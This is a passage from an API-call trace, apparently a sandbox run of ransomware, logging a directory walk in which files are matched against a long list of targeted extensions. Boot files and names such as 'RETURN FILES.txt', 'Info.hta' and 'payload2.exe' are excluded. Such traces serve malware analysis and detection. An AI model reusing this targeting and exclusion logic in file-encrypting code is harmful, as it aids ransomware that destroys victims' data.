(lpString1=".dotx", lpString2="p.ini") returned -1 [0033.083] lstrlenW (lpString=".dpx") returned 4 [0033.083] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0033.083] lstrlenW (lpString=".dqy") returned 4 [0033.083] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0033.083] lstrlenW (lpString=".dsn") returned 4 [0033.083] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0033.083] lstrlenW (lpString=".dt") returned 3 [0033.083] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0033.083] lstrlenW (lpString=".dtd") returned 4 [0033.083] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0033.083] lstrlenW (lpString=".dwg") returned 4 [0033.083] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0033.083] lstrlenW (lpString=".dwt") returned 4 [0033.083] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0033.083] lstrlenW (lpString=".dx") returned 3 [0033.083] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0033.083] lstrlenW (lpString=".dxf") returned 4 [0033.083] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0033.083] lstrlenW (lpString=".edml") returned 5 [0033.083] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0033.083] lstrlenW (lpString=".efd") returned 4 [0033.083] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0033.083] lstrlenW (lpString=".elf") returned 4 [0033.083] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0033.083] lstrlenW (lpString=".emf") returned 4 [0033.083] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0033.083] lstrlenW (lpString=".emz") returned 4 [0033.083] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0033.083] lstrlenW (lpString=".epf") returned 4 [0033.083] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0033.084] lstrlenW (lpString=".eps") returned 4 [0033.084] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0033.084] lstrlenW (lpString=".epsf") returned 5 [0033.084] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0033.084] lstrlenW (lpString=".epsp") returned 5 [0033.084] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0033.084] lstrlenW (lpString=".erf") returned 4 [0033.084] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0033.084] lstrlenW (lpString=".exr") returned 4 [0033.084] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0033.084] lstrlenW (lpString=".f4v") returned 4 [0033.084] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0033.084] lstrlenW (lpString=".fido") returned 5 [0033.084] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0033.084] lstrlenW (lpString=".flm") returned 4 [0033.084] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0033.084] lstrlenW (lpString=".flv") returned 4 [0033.084] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0033.084] lstrlenW (lpString=".frm") returned 4 [0033.084] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0033.084] lstrlenW (lpString=".fxg") returned 4 [0033.084] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0033.084] lstrlenW (lpString=".geo") returned 4 [0033.084] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0033.084] lstrlenW (lpString=".gif") returned 4 [0033.084] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0033.084] lstrlenW (lpString=".grs") returned 4 [0033.084] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0033.084] lstrlenW (lpString=".gz") returned 3 [0033.084] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0033.084] lstrlenW (lpString=".h") returned 2 [0033.085] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0033.085] lstrlenW (lpString=".hdr") returned 4 [0033.085] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0033.085] lstrlenW (lpString=".hpp") returned 4 [0033.085] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0033.085] lstrlenW (lpString=".hta") returned 4 [0033.085] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0033.085] lstrlenW (lpString=".htc") returned 4 [0033.085] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0033.085] lstrlenW (lpString=".htm") returned 4 [0033.085] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0033.085] lstrlenW (lpString=".html") returned 5 [0033.085] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0033.085] lstrlenW (lpString=".icb") returned 4 [0033.085] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0033.085] lstrlenW (lpString=".ics") returned 4 [0033.085] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0033.085] lstrlenW (lpString=".iff") returned 4 [0033.085] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0033.085] lstrlenW (lpString=".inc") returned 4 [0033.085] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0033.085] lstrlenW (lpString=".indd") returned 5 [0033.085] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0033.085] lstrlenW (lpString=".ini") returned 4 [0033.085] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0033.085] lstrlenW (lpString="desktop.ini") returned 11 [0033.085] lstrlenW (lpString=".html") returned 5 [0033.085] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0033.085] lstrlenW (lpString="desktop.ini") returned 11 [0033.085] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0033.085] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0033.085] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0033.085] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0033.085] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0033.086] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="desktop.ini") returned 1 [0033.086] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0033.086] lstrcmpiW (lpString1="payload2.exe", lpString2="desktop.ini") returned 1 [0033.086] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.086] FindNextFileW (in: hFindFile=0x311de8, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0033.086] FindClose (in: hFindFile=0x311de8 | out: hFindFile=0x311de8) returned 1 [0033.086] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.086] FindNextFileW (in: hFindFile=0x310da0, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0033.086] FindClose (in: hFindFile=0x310da0 | out: hFindFile=0x310da0) returned 1 [0033.086] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38d06c8 | out: hHeap=0x220000) returned 1 [0033.086] FindNextFileW (in: hFindFile=0x271020, lpFindFileData=0x33bfd00 | out: lpFindFileData=0x33bfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0033.086] lstrlenW (lpString="C:\\Boot") returned 7 [0033.086] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0033.086] lstrlenW (lpString="Boot") returned 4 [0033.086] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0033.086] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38d06c8 [0033.086] lstrlenW (lpString="C:\\Boot") returned 7 [0033.086] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x311da8 [0033.086] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.087] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0033.087] lstrlenW (lpString="BCD") returned 3 [0033.087] lstrlenW (lpString=".1cd") returned 4 [0033.087] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0033.087] lstrlenW (lpString=".3ds") returned 4 [0033.087] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0033.087] lstrlenW (lpString=".3fr") returned 4 [0033.087] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0033.087] lstrlenW (lpString=".3g2") returned 4 [0033.087] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0033.087] lstrlenW (lpString=".3gp") returned 4 [0033.087] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0033.087] lstrlenW (lpString=".7z") returned 3 [0033.087] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.087] lstrlenW (lpString=".accda") returned 6 [0033.087] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0033.087] lstrlenW (lpString=".accdb") returned 6 [0033.087] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0033.087] lstrlenW (lpString=".accdc") returned 6 [0033.087] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0033.087] lstrlenW (lpString=".accde") returned 6 [0033.087] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0033.087] lstrlenW (lpString=".accdt") returned 6 [0033.087] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0033.087] lstrlenW (lpString=".accdw") returned 6 [0033.087] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0033.087] lstrlenW (lpString=".adb") returned 4 [0033.087] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0033.087] lstrlenW (lpString=".adp") returned 4 [0033.088] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".ai") returned 3 [0033.088] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0033.088] lstrlenW (lpString=".ai3") returned 4 [0033.088] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".ai4") returned 4 [0033.088] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".ai5") returned 4 [0033.088] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".ai6") returned 4 [0033.088] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".ai7") returned 4 [0033.088] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".ai8") returned 4 [0033.088] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".anim") returned 5 [0033.088] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".arw") returned 4 [0033.088] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".as") returned 3 [0033.088] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0033.088] lstrlenW (lpString=".asa") returned 4 [0033.088] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".asc") returned 4 [0033.088] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".ascx") returned 5 [0033.088] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".asm") returned 4 [0033.088] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0033.088] lstrlenW (lpString=".asmx") returned 5 [0033.088] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".asp") returned 4 [0033.089] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".aspx") returned 5 [0033.089] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".asr") returned 4 [0033.089] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".asx") returned 4 [0033.089] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".avi") returned 4 [0033.089] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".avs") returned 4 [0033.089] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".backup") returned 7 [0033.089] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".bak") returned 4 [0033.089] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".bay") returned 4 [0033.089] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".bd") returned 3 [0033.089] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0033.089] lstrlenW (lpString=".bin") returned 4 [0033.089] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".bmp") returned 4 [0033.089] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".bz2") returned 4 [0033.089] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".c") returned 2 [0033.089] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0033.089] lstrlenW (lpString=".cdr") returned 4 [0033.089] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".cer") returned 4 [0033.089] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0033.089] lstrlenW (lpString=".cf") returned 3 [0033.090] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0033.090] lstrlenW (lpString=".cfc") returned 4 [0033.090] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".cfm") returned 4 [0033.090] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".cfml") returned 5 [0033.090] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".cfu") returned 4 [0033.090] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".chm") returned 4 [0033.090] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".cin") returned 4 [0033.090] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".class") returned 6 [0033.090] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".clx") returned 4 [0033.090] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".config") returned 7 [0033.090] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".cpp") returned 4 [0033.090] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".cr2") returned 4 [0033.090] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".crt") returned 4 [0033.090] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".crw") returned 4 [0033.090] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".cs") returned 3 [0033.090] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0033.090] lstrlenW (lpString=".css") returned 4 [0033.090] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0033.090] lstrlenW (lpString=".csv") returned 4 [0033.090] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".cub") returned 4 [0033.091] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".dae") returned 4 [0033.091] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".dat") returned 4 [0033.091] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".db") returned 3 [0033.091] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0033.091] lstrlenW (lpString=".dbf") returned 4 [0033.091] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".dbx") returned 4 [0033.091] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".dc3") returned 4 [0033.091] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".dcm") returned 4 [0033.091] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".dcr") returned 4 [0033.091] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".der") returned 4 [0033.091] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".dib") returned 4 [0033.091] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".dic") returned 4 [0033.091] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".dif") returned 4 [0033.091] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".divx") returned 5 [0033.091] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".djvu") returned 5 [0033.091] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".dng") returned 4 [0033.091] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0033.091] lstrlenW (lpString=".doc") returned 4 [0033.092] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".docm") returned 5 [0033.092] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".docx") returned 5 [0033.092] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".dot") returned 4 [0033.092] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".dotm") returned 5 [0033.092] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".dotx") returned 5 [0033.092] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".dpx") returned 4 [0033.092] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".dqy") returned 4 [0033.092] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".dsn") returned 4 [0033.092] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".dt") returned 3 [0033.092] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0033.092] lstrlenW (lpString=".dtd") returned 4 [0033.092] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".dwg") returned 4 [0033.092] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".dwt") returned 4 [0033.092] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".dx") returned 3 [0033.092] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0033.092] lstrlenW (lpString=".dxf") returned 4 [0033.092] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".edml") returned 5 [0033.092] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0033.092] lstrlenW (lpString=".efd") returned 4 [0033.092] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0033.093] lstrlenW (lpString=".elf") returned 4 [0033.093] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0033.093] lstrlenW (lpString=".emf") returned 4 [0033.093] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0033.093] lstrlenW (lpString=".emz") returned 4 [0033.093] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0033.093] lstrlenW (lpString=".epf") returned 4 [0033.093] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0033.093] lstrlenW (lpString=".eps") returned 4 [0033.093] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0033.093] lstrlenW (lpString=".epsf") returned 5 [0033.093] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0033.093] lstrlenW (lpString=".epsp") returned 5 [0033.093] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0033.093] lstrlenW (lpString=".erf") returned 4 [0033.093] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0033.093] lstrlenW (lpString=".exr") returned 4 [0033.093] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0033.093] lstrlenW (lpString=".f4v") returned 4 [0033.093] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0033.093] lstrlenW (lpString=".fido") returned 5 [0033.093] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0033.093] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.093] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.121] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.122] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.133] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.133] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.133] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0033.134] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.134] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.134] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.134] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.134] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.134] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.134] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, 